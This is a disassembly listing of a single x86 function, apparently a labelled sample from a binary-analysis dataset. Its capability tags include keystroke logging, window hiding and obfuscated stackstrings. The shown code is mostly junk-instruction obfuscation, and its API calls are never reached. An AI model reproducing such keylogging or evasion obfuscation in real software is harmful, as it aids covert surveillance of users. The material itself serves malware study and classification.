Function at 0x4507a2
Capabilities:
Compare security identifiers
Contain obfuscated stackstrings
Create pipe
Delete file
Delete registry key
Get common file path
Get geographical location
Get keyboard layout
Hide graphical window
Log keystrokes via polling
Query environment variable
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3dec
call fcn.00489e10
push esi
push edi
mov dword [ebp - 0x2468], 0xdd1e1e87
mov dword [ebp - 0x2464], 0xdd1e1e87
mov dword [ebp - 0x2460], 0xdd1e1e87
mov dword [ebp - 0x245c], 0xdd1e1e87
mov dword [ebp - 0x608], 0xae3d4752
mov dword [ebp - 0x2928], 0x3eeda781
mov dword [ebp - 0x2ed0], 0xd73c12d4
mov dword [ebp - 0x2ecc], 0xd73c12d4
mov dword [ebp - 0x2ec8], 0xd73c12d4
mov dword [ebp - 0x2ec4], 0xd73c12d4
mov dword [ebp - 0x2930], 0xdb2a93f0
mov dword [ebp - 0xa10], 0
jmp 0x450838
mov eax, dword [ebp - 0xa10]
inc eax
mov dword [ebp - 0xa10], eax
cmp dword [ebp - 0xa10], 3
jge 0x450854
mov eax, dword [ebp - 0xa10]
mov dword [ebp + eax*4 - 0x2b98], 1
jmp 0x45082b
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2468], 0
jmp 0x45087f
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2468]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2468], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2468], 2
jg 0x45092e
mov dword [ebp - 0x450], 0x3eee2fde
mov dword [ebp - 0xa18], 0
jmp 0x4508b5
mov eax, dword [ebp - 0xa18]
inc eax
mov dword [ebp - 0xa18], eax
cmp dword [ebp - 0xa18], 2
jge 0x4508d1
mov eax, dword [ebp - 0xa18]
mov dword [ebp + eax*4 - 0x3368], 0x1eb32a83
jmp 0x4508a8
mov dword [ebp - 0x450], 2
jmp 0x4508ea
mov eax, dword [ebp - 0x450]
dec eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0
jl 0x450929
mov eax, dword [ebp - 0x450]
cmp dword [ebp - 0x450], eax
jle 0x45090d
mov dword [ebp - 0x1fc8], 1
jmp 0x450914
and dword [ebp - 0x1fc8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fc8]
mov dword [ebp + eax - 0x3368], ecx
jmp 0x4508dd
jmp 0x450866
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b98]
neg eax
jne 0x4509ad
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b98]
push 4
pop ecx
shl ecx, 0
imul ecx, dword [ebp + ecx - 0x2b98], 0x8db8
sub eax, ecx
cmp eax, dword [ebp - 0x608]
jle 0x450980
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b98], 0
jne 0x450980
and dword [ebp - 0x2644], 0
jmp 0x45098a
mov dword [ebp - 0x2644], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2468]
mov dword [ebp - 0x385c], eax
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x4509ad
and dword [ebp - 0x22f8], 0
jmp 0x4509b7
mov dword [ebp - 0x22f8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2468]
sub eax, dword [ebp - 0x22f8]
cmp eax, 0x9cff29c2
jb 0x4509e2
xor eax, eax
inc eax
je 0x4509e2
mov dword [ebp - 0x2300], 1
jmp 0x4509e9
and dword [ebp - 0x2300], 0
mov eax, dword [ebp - 0x608]
cmp dword [ebp - 0x2300], eax
jl 0x450a03
mov dword [ebp - 0x2308], 1
jmp 0x450a0a
and dword [ebp - 0x2308], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2468]
cmp dword [ebp - 0x2308], eax
jle 0x450a2a
mov dword [ebp - 0xa90], 1
jmp 0x450a31
and dword [ebp - 0xa90], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa90]
mov dword [ebp + eax - 0x2468], ecx
mov eax, dword [ebp - 0xa90]
sub eax, dword [ebp - 0x2928]
cmp eax, 0x36a7
jg 0x450a62
mov dword [ebp - 0x2310], 1
jmp 0x450a69
and dword [ebp - 0x2310], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b98]
cmp dword [ebp - 0x2310], eax
jne 0x450a8a
mov dword [ebp - 0x2318], 1
jmp 0x450a91
and dword [ebp - 0x2318], 0
cmp dword [ebp - 0x2318], 1
jl 0x450aa6
mov dword [ebp - 0x2320], 1
jmp 0x450aad
and dword [ebp - 0x2320], 0
cmp dword [ebp - 0x2320], 0x9f3c
jg 0x450ac5
mov dword [ebp - 0x2328], 1
jmp 0x450acc
and dword [ebp - 0x2328], 0
mov eax, dword [ebp - 0x608]
add eax, dword [ebp - 0x2328]
cmp eax, dword [ebp - 0x608]
jle 0x450aec
mov dword [ebp - 0x2330], 1
jmp 0x450af3
and dword [ebp - 0x2330], 0
mov eax, dword [ebp - 0x608]
add eax, dword [ebp - 0x2330]
cmp eax, 8
jae 0x450b10
mov dword [ebp - 0xc58], 1
jmp 0x450b17
and dword [ebp - 0xc58], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc58]
mov dword [ebp + eax - 0x2ed0], ecx
mov eax, dword [ebp - 0xc58]
mov dword [ebp - 0x2930], eax
mov dword [ebp - 0xc60], 1
mov dword [ebp - 0x2948], 0x104353e
mov dword [ebp - 0x1f4], 0
jmp 0x450b63
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 1
jge 0x450b7f
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x2338], 0xda11525
jmp 0x450b56
mov dword [ebp - 0x1f4], 0
jmp 0x450b98
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 4
jge 0x450bb4
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x3aac], 0x7ab89bdd
jmp 0x450b8b
mov byte [ebp - 0x447], 0
movzx eax, byte [ebp - 0x447]
test eax, eax
je 0x450bce
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2338], 0
je 0x450d87
mov dword [ebp - 0xa20], 0
jmp 0x450bfb
mov eax, dword [ebp - 0xa20]
inc eax
mov dword [ebp - 0xa20], eax
cmp dword [ebp - 0xa20], 3
jge 0x450c17
mov eax, dword [ebp - 0xa20]
mov dword [ebp + eax*4 - 0xd74], 0xf54c3c69
jmp 0x450bee
mov byte [ebp - 0x3b1], 0
movzx eax, byte [ebp - 0x3b1]
test eax, eax
je 0x450c38
push 1
push 0x11c8
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd74], 0xfffffffc
jmp 0x450c66
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd74]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd74], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd74], 0xffffffe3
jge 0x450d82
mov dword [ebp - 0x2340], 2
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd74], 0
jne 0x450ca5
cmp dword [ebp - 0x2340], 0
jne 0x450ca5
and dword [ebp - 0x2938], 0
jmp 0x450caf
mov dword [ebp - 0x2938], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd74], 6
jge 0x450ccb
mov dword [ebp - 0x2940], 1
jmp 0x450cd2
and dword [ebp - 0x2940], 0
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x3aac], 0
xor eax, eax
jne 0x450cf5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd74], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x3aac]
mov dword [ebp - 0x31bc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd74]
mov dword [ebp - 0x31c4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd74]
mov dword [ebp - 0x31cc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2338]
cmp dword [ebp - 0x2340], eax
jne 0x450d4e
mov dword [ebp - 0x2348], 1
jmp 0x450d55
and dword [ebp - 0x2348], 0
cmp dword [ebp - 0x2348], 1
jne 0x450d6a
mov dword [ebp - 0x2350], 1
jmp 0x450d71
and dword [ebp - 0x2350], 0
mov eax, dword [ebp - 0x2350]
mov dword [ebp - 0xc60], eax
jmp 0x450c4b
jmp 0x450ed6
mov dword [ebp - 0xa30], 0xc8af9534
mov dword [ebp - 0xa28], 0
jmp 0x450daa
mov eax, dword [ebp - 0xa28]
inc eax
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0xa28], 2
jge 0x450dc6
mov eax, dword [ebp - 0xa28]
mov dword [ebp + eax*4 - 0x2a3c], 0x1bb30b13
jmp 0x450d9d
mov byte [ebp - 0x42b], 0
movzx eax, byte [ebp - 0x42b]
test eax, eax
je 0x450de2
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [ebp - 0xc60]
mov dword [ebp - 0x31d4], eax
cmp dword [ebp - 0xa30], 0
je 0x450ec3
cmp dword [ebp - 0xa30], 0
jne 0x450e10
mov dword [ebp - 0x23ac], 1
jmp 0x450e17
and dword [ebp - 0x23ac], 0
mov eax, dword [ebp - 0x23ac]
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa30]
cmp dword [ebp - 0x2948], eax
jle 0x450e3d
mov dword [ebp - 0x23b4], 1
jmp 0x450e44
and dword [ebp - 0x23b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x23b4]
sub ecx, dword [ebp + eax - 0x2a3c]
je 0x450e6c
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x450e6c
mov dword [ebp - 0x23bc], 1
jmp 0x450e73
and dword [ebp - 0x23bc], 0
cmp dword [ebp - 0x23bc], 0xe55b65ab
jne 0x450e98
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a3c], 0
jne 0x450e98
and dword [ebp - 0x23c4], 0
jmp 0x450ea2
mov dword [ebp - 0x23c4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a3c]
cmp dword [ebp - 0x23c4], eax
jl 0x450ec3
mov dword [ebp - 0x23cc], 1
jmp 0x450eca
and dword [ebp - 0x23cc], 0
mov eax, dword [ebp - 0x23cc]
mov dword [ebp - 0xc60], eax
mov dword [ebp - 0xa50], 0
jmp 0x450eef
mov eax, dword [ebp - 0xa50]
inc eax
mov dword [ebp - 0xa50], eax
cmp dword [ebp - 0xa50], 1
jge 0x450f0b
mov eax, dword [ebp - 0xa50]
mov dword [ebp + eax*4 - 0xa58], 1
jmp 0x450ee2
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa58], 0
jmp 0x450f39
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa58]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa58], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa58], 0xffffffe9
jle 0x450f83
mov byte [ebp - 0x3b9], 0
movzx eax, byte [ebp - 0x3b9]
test eax, eax
je 0x450f65
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov byte [ebp - 0x42d], 0
movzx eax, byte [ebp - 0x42d]
test eax, eax
je 0x450f81
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x450f1e
mov dword [ebp - 0x247c], 0xdd1e1e87
mov dword [ebp - 0x2478], 0xdd1e1e87
mov dword [ebp - 0x2474], 0xdd1e1e87
mov dword [ebp - 0x2470], 0xdd1e1e87
mov dword [ebp - 0x158], 5
mov dword [ebp - 0x244c], 1
mov dword [ebp - 0x158], 0
jmp 0x450fd8
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x1c
jg 0x45129c
mov dword [ebp - 0x64], 0
jmp 0x450ff5
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x45100b
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x3670], 0x8ecf54c3
jmp 0x450fee
mov dword [ebp - 0x64], 0
jmp 0x45101b
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x451031
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x258], 0x182eac45
jmp 0x451014
mov dword [ebp - 0x64], 0
jmp 0x451041
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x451057
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x2a48], 0xec7516a2
jmp 0x45103a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x258], 2
jmp 0x451085
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x258]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x258], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x258], 0
jl 0x4510bf
mov byte [ebp - 0x3c1], 0
movzx eax, byte [ebp - 0x3c1]
test eax, eax
je 0x4510bd
push 0
push 0
push 0xa10
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x45106a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x258], 0
je 0x451196
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x31dc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x258], 0xffff
ja 0x4510fe
mov dword [ebp - 0x23d4], 1
jmp 0x451105
and dword [ebp - 0x23d4], 0
mov eax, dword [ebp - 0x23d4]
sub eax, dword [ebp - 0x158]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2a48]
jne 0x45112c
mov dword [ebp - 0x23dc], 1
jmp 0x451133
and dword [ebp - 0x23dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x258]
cmp eax, dword [ebp - 0x23dc]
jne 0x451154
mov dword [ebp - 0x2950], 1
jmp 0x45115b
and dword [ebp - 0x2950], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3670]
mov dword [ebp - 0x31e4], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x31ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a48], 0
je 0x451196
mov dword [ebp - 0x23e4], 1
jmp 0x45119d
and dword [ebp - 0x23e4], 0
mov eax, dword [ebp - 0x158]
add eax, dword [ebp - 0x23e4]
cmp eax, dword [ebp - 0x158]
jge 0x4511bd
mov dword [ebp - 0x23ec], 1
jmp 0x4511c4
and dword [ebp - 0x23ec], 0
cmp dword [ebp - 0x23ec], 0xfffffffe
je 0x4511d9
mov dword [ebp - 0x23f4], 1
jmp 0x4511e0
and dword [ebp - 0x23f4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3670]
cmp dword [ebp - 0x23f4], eax
jg 0x451200
mov dword [ebp - 0x23fc], 1
jmp 0x451207
and dword [ebp - 0x23fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x258]
cmp dword [ebp - 0x23fc], eax
jg 0x451228
mov dword [ebp - 0x2404], 1
jmp 0x45122f
and dword [ebp - 0x2404], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a48]
mov dword [ebp - 0x244c], eax
mov eax, dword [ebp - 0x2404]
neg eax
cmp dword [ebp - 0x244c], eax
jl 0x45125e
mov dword [ebp - 0x2454], 1
jmp 0x451265
and dword [ebp - 0x2454], 0
cmp dword [ebp - 0x2454], 0xeaf6
jne 0x45127d
mov dword [ebp - 0x1ed4], 1
jmp 0x451284
and dword [ebp - 0x1ed4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ed4]
mov dword [ebp + eax - 0x258], ecx
jmp 0x450fcb
mov dword [ebp - 0x620], 0xae3d4752
mov dword [ebp - 0x340], 0x462d5e48
mov dword [ebp - 0x31f4], 0x9c45c1d1
mov dword [ebp - 0x31fc], 0xfffffff8
mov dword [ebp - 0xdac], 0xffffffff
mov dword [ebp - 0x1f04], 0x29694d2b
mov dword [ebp - 0x3204], 0x9adb8213
mov dword [ebp - 0x320c], 0x7941ce3c
mov dword [ebp - 0x3214], 0xffffffff
mov dword [ebp - 0x2fd0], 0xc1932e3c
mov dword [ebp - 0x2fcc], 0xc1932e3c
mov dword [ebp - 0x2fc8], 0xc1932e3c
mov dword [ebp - 0x2fc4], 0xc1932e3c
mov dword [ebp - 0x2960], 1
mov dword [ebp - 0x321c], 0
mov dword [ebp - 0xc68], 0xfffffff7
mov dword [ebp - 0x2958], 0x25423b19
mov dword [ebp - 0x2968], 0x4a737b78
mov dword [ebp - 0x340], 0
jmp 0x451369
mov eax, dword [ebp - 0x340]
dec eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0xfffffff5
jne 0x4513ad
mov dword [ebp - 0x8ec], 0
mov dword [ebp - 0x8ec], 0
jmp 0x451395
mov eax, dword [ebp - 0x8ec]
dec eax
mov dword [ebp - 0x8ec], eax
cmp dword [ebp - 0x8ec], 0xfffffff8
jne 0x4513ab
cmp dword [ebp - 0x340], 0
je 0x4513a9
jmp 0x4513ab
jmp 0x451388
jmp 0x45135c
mov eax, dword [ebp - 0x340]
cmp dword [ebp - 0x340], eax
je 0x4513c7
mov dword [ebp - 0xd84], 1
jmp 0x4513ce
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0xc68]
inc eax
mov dword [ebp - 0xc68], eax
mov eax, dword [ebp - 0xc68]
cmp dword [ebp - 0xd84], eax
jl 0x4513f5
mov dword [ebp - 0x1edc], 1
jmp 0x4513fc
and dword [ebp - 0x1edc], 0
mov eax, dword [ebp - 0x1f04]
cmp dword [ebp - 0x2958], eax
jge 0x451416
mov dword [ebp - 0xd8c], 1
jmp 0x45141d
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0x1edc]
sub eax, dword [ebp - 0xd8c]
mov dword [ebp - 0x1ee4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1ee4]
mov dword [ebp + eax - 0x2fd0], ecx
cmp dword [ebp - 0x1ee4], 0x1efae07d
jge 0x451459
mov dword [ebp - 0xd94], 1
jmp 0x451460
and dword [ebp - 0xd94], 0
cmp dword [ebp - 0xd94], 0x3988
jne 0x451478
mov dword [ebp - 0x1eec], 1
jmp 0x45147f
and dword [ebp - 0x1eec], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x1eec]
cmp eax, dword [ebp - 0x2960]
jge 0x45149c
mov dword [ebp - 0xd9c], 1
jmp 0x4514a3
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0x2968]
cmp dword [ebp - 0xd9c], eax
jle 0x4514bd
mov dword [ebp - 0x1ef4], 1
jmp 0x4514c4
and dword [ebp - 0x1ef4], 0
cmp dword [ebp - 0x1ef4], 1
jae 0x4514d9
mov dword [ebp - 0xda4], 1
jmp 0x4514e0
and dword [ebp - 0xda4], 0
cmp dword [ebp - 0xda4], 0xba27438e
jbe 0x4514f8
mov dword [ebp - 0x1efc], 1
jmp 0x4514ff
and dword [ebp - 0x1efc], 0
mov eax, dword [ebp - 0xdac]
add eax, dword [ebp - 0x1efc]
imul eax, dword [ebp - 0xdac]
mov dword [ebp - 0x1f04], eax
mov dword [ebp - 0x29d8], 0x3eeda781
mov dword [ebp - 0x2f70], 0xd73c12d4
mov dword [ebp - 0x2f6c], 0xd73c12d4
mov dword [ebp - 0x2f68], 0xd73c12d4
mov dword [ebp - 0x2f64], 0xd73c12d4
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x2970], 0xd00693e9
mov dword [ebp - 0x3224], 8
mov dword [ebp - 0x322c], 2
mov dword [ebp - 0x3234], 0xffffffff
mov dword [ebp - 0x323c], 0xffffffff
mov dword [ebp - 0x3244], 0xddcef989
mov dword [ebp - 0x324c], 0xfffffff8
mov dword [ebp - 0x3254], 0xffffffff
mov dword [ebp - 0x325c], 1
mov dword [ebp - 0x8c], 0
jmp 0x4515c7
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x4515e3
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xdb4], 7
jmp 0x4515ba
mov dword [ebp - 0x8c], 0
jmp 0x4515fc
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x451618
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x3bcc], 0x9683648b
jmp 0x4515ef
mov dword [ebp - 0x8c], 0
jmp 0x451631
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x45164d
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x3264], 0xe136
jmp 0x451624
mov dword [ebp - 0x654], 0
jmp 0x451666
mov eax, dword [ebp - 0x654]
dec eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 0xfffffff5
jl 0x451741
mov dword [ebp - 0x50c], 0xffffffff
mov dword [ebp - 0x326c], 0x23607a98
mov dword [ebp - 0x3274], 0xfffffff8
mov dword [ebp - 0xdbc], 0xc0233fd5
mov dword [ebp - 0x8e8], 0
jmp 0x4516b4
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 4
jge 0x4516d0
mov eax, dword [ebp - 0x8e8]
mov dword [ebp + eax*4 - 0x3d50], 0xfbd13d8c
jmp 0x4516a7
mov dword [ebp - 0x50c], 0
jmp 0x4516e9
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0
jg 0x45172f
mov eax, dword [ebp - 0x50c]
mov ecx, dword [ebp - 0x50c]
mov ecx, dword [ebp + ecx*4 - 0xdb4]
cmp dword [ebp + eax*4 - 0xdb4], ecx
jle 0x45171a
mov dword [ebp - 0x1f0c], 1
jmp 0x451721
and dword [ebp - 0x1f0c], 0
mov eax, dword [ebp - 0x1f0c]
mov dword [ebp - 0x2970], eax
jmp 0x4516dc
mov eax, dword [ebp - 0xdbc]
inc eax
mov dword [ebp - 0xdbc], eax
jmp 0x451659
mov dword [ebp - 0x29e0], 0xdb2a93f0
mov dword [ebp - 0x327c], 0xffffffff
mov byte [ebp - 0x42f], 0
movzx eax, byte [ebp - 0x42f]
test eax, eax
je 0x451776
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
mov byte [ebp - 0x3c9], 0
movzx eax, byte [ebp - 0x3c9]
test eax, eax
je 0x4517a8
push 0
push 0x15d3
push 0x1359
push 0
push 0x443
push 0x2323
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1e0], 0xfffffffe
mov dword [ebp - 0xdc4], 0x874be76d
mov dword [ebp - 0x160], 0
jmp 0x4517d5
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x4517f1
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x348], 0xd5467356
jmp 0x4517c8
mov dword [ebp - 0x160], 0
jmp 0x45180a
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 2
jge 0x451826
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x3bdc], 0x376fbfcc
jmp 0x4517fd
mov byte [ebp - 0x431], 0
movzx eax, byte [ebp - 0x431]
test eax, eax
je 0x451840
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov dword [ebp - 0x1e0], 0x7b04
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x1e0], eax
je 0x451864
mov dword [ebp - 0x1f14], 1
jmp 0x45186b
and dword [ebp - 0x1f14], 0
mov eax, dword [ebp - 0x1f14]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0xdc4]
sub eax, dword [ebp - 0x1e0]
cmp eax, 0xd714f98c
ja 0x451896
mov dword [ebp - 0x1f1c], 1
jmp 0x45189d
and dword [ebp - 0x1f1c], 0
mov eax, dword [ebp - 0x1e0]
add eax, dword [ebp - 0x1f1c]
imul eax, dword [ebp - 0x1e0]
cmp eax, dword [ebp - 0x1e0]
jne 0x4518c4
mov dword [ebp - 0xdcc], 1
jmp 0x4518cb
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0xdcc], eax
jge 0x4518e9
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x4518e9
and dword [ebp - 0x1f24], 0
jmp 0x4518f3
mov dword [ebp - 0x1f24], 1
mov eax, dword [ebp - 0x1e0]
imul eax, dword [ebp - 0x1f24]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x348]
jl 0x45191b
mov dword [ebp - 0xdd4], 1
jmp 0x451922
and dword [ebp - 0xdd4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdd4]
sub ecx, dword [ebp + eax - 0x348]
push 4
pop eax
imul eax, eax, 0
sub ecx, dword [ebp + eax - 0x348]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0x348]
jg 0x45195d
mov dword [ebp - 0x1f2c], 1
jmp 0x451964
and dword [ebp - 0x1f2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x348]
imul eax, dword [ebp - 0x1f2c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x348]
jle 0x451993
mov dword [ebp - 0x2978], 1
jmp 0x45199a
and dword [ebp - 0x2978], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x348], 0xfffffffc
mov dword [ebp - 0x65c], 0
jmp 0x4519c4
mov eax, dword [ebp - 0x65c]
inc eax
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 3
jge 0x4519e0
mov eax, dword [ebp - 0x65c]
mov dword [ebp + eax*4 - 0x2ba8], 1
jmp 0x4519b7
mov dword [ebp - 0x8f0], 0x8ade19d2
mov dword [ebp - 0x3284], 0xffffffff
mov dword [ebp - 0x328c], 0x64dc9ed9
mov dword [ebp - 0x3294], 0xfffffffe
mov dword [ebp - 0x329c], 0x4709ba87
mov dword [ebp - 0x518], 0xfffffffe
mov dword [ebp - 0x168], 0
jmp 0x451a35
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jge 0x451a51
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x3d34], 2
jmp 0x451a28
mov dword [ebp - 0x168], 0
jmp 0x451a6a
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jge 0x451a86
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x3cbc], 0xfffffffc
jmp 0x451a5d
mov dword [ebp - 0x8f0], 2
jmp 0x451a9f
mov eax, dword [ebp - 0x8f0]
dec eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 0
jl 0x451b3c
mov dword [ebp - 0x32a4], 0xdb34
mov dword [ebp - 0x32ac], 0xffffffff
mov dword [ebp - 0x32b4], 6
mov dword [ebp - 0x3980], 7
mov dword [ebp - 0x397c], 7
mov dword [ebp - 0x3978], 7
mov dword [ebp - 0x3974], 7
mov dword [ebp - 0x2980], 0xaea0a9f4
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x518], 0
jmp 0x451b22
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 2
jg 0x451b37
mov dword [ebp - 0x2980], 0xe13f5e3d
jmp 0x451b15
jmp 0x451a92
mov byte [ebp - 0x3d1], 0
movzx eax, byte [ebp - 0x3d1]
test eax, eax
je 0x451b5b
push 0
push 0x2308
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x247c], 0
jmp 0x451b86
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x247c]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x247c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x247c], 2
jg 0x45292e
mov dword [ebp - 0x220], 0
jmp 0x451bb2
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jge 0x451bce
mov eax, dword [ebp - 0x220]
